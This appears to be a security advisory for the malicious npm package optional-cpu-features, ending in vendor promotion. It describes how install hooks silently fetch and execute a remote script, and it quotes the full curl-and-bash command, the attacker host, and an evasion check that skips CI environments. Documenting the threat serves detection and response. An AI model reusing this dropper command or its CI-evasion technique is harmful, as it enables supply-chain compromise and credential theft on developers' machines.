optional-cpu-featuresnpm
optional-cpu-features is a confirmed malicious npm package (MAL-2026-5642) that executes malicious code on install (malicious version 1.0.3). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in optional-cpu-features (npm)
What this malware does
On npm install, both the install and postinstall lifecycle scripts run node install.js, which requires lib/sync.js. That file hardcodes BASE = "https://api.aavcareer.ink" and spawns a detached, stdio-suppressed shell that runs curl -ks ${BASE}/upd_m -o /var/tmp/upd_m && bash /var/tmp/upd_m on Unix (or fetches /upd_w to %TEMP%\upd_w.cmd and executes it on Windows). The fetch disables TLS certificate verification (curl -ks) and the spawn is detached + unref'd to hide from the install log. install.js early-exits with process.exit(0) when process.env.CI is "true" or "1", so CI scanners and sandboxes see a no-op while real developer and build machines execute the remote payload. The package name and the package.json description ("Optional native CPU feature probe for toolchain compatibility (install is a no-op when bindings are unavailable)") advertise a CPU/SIMD feature probe, but no CPU detection code exists anywhere in the package — the cover story exists to encourage monorepos to add this as an optionalDependencies entry that tolerates apparent failure while the dropper has already succeeded silently. The attacker fully controls the bytes that run as the installing user on every non-CI machine.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for optional-cpu-features (version 1.0.3). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging optional-cpu-features across your stack and pipelines.
If you installed it — respond
Remove optional-cpu-features from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If optional-cpu-features was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks optional-cpu-features before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks optional-cpu-features-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.